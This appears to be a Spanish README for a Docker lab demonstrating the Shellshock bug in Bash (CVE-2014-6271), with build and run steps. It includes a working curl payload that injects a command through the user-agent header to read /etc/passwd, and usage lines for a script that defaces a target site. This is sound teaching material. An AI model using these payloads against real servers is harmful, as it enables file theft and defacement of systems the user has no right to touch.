
Proyecto de presentación de un CVE (ShellShock) con pdf, demostración técnica y reproducible
Este proyecto permite reproducir la vulnerabilidad CVE-2014-6271, también conocida como Shellshock. Shellshock es una vulnerabilidad de seguridad en Bash que permite ejecutar código malicioso a través de variables de entorno.
El objetivo de este proyecto es demostrar el impacto de esta vulnerabilidad en un entorno Docker.
Antes de comenzar, asegúrese de tener Docker instalado en su máquina. Puede descargar Docker aquí.
En el directorio del proyecto, construya la imagen Docker ejecutando el siguiente comando :
docker build -t ['image name'] .
Reemplace ['image name'] por el nombre que desee darle a la imagen Docker.
Una vez construida la imagen, ejecute un contenedor a partir de esa imagen con el siguiente comando :
docker run -it --rm -p 8080:80 ['image name']
Esto expondrá el servicio en el puerto 8080 de su máquina local.
Abra su navegador y acceda a http://localhost:8080. Podrá observar el comportamiento de la aplicación y probar la vulnerabilidad.
En otra terminal, ejecute el siguiente comando para explotar la vulnerabilidad y leer el contenido del archivo /etc/passwd :
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
Este comando envía un encabezado user-agent especialmente diseñado para explotar Shellshock. Si la vulnerabilidad se reproduce correctamente, el contenido de /etc/passwd se mostrará en la salida de la terminal.
Este script permite explotar la vulnerabilidad para defacear una página web objetivo. La vulnerabilidad se basa en una mala configuración de scripts CGI, que permite la ejecución de comandos arbitrarios en el servidor.
Requisitos previos : Asegúrese de que el objetivo sea vulnerable al bug ShellShock. Asegúrese de tener los permisos necesarios para probar el exploit en ese objetivo.
./exp_deface.sh <ip> <port>
./exp_deface.sh localhost 8080
Importante: Esta vulnerabilidad solo debe utilizarse con fines de prueba y demostración en un entorno controlado. No utilice este proyecto en entornos de producción.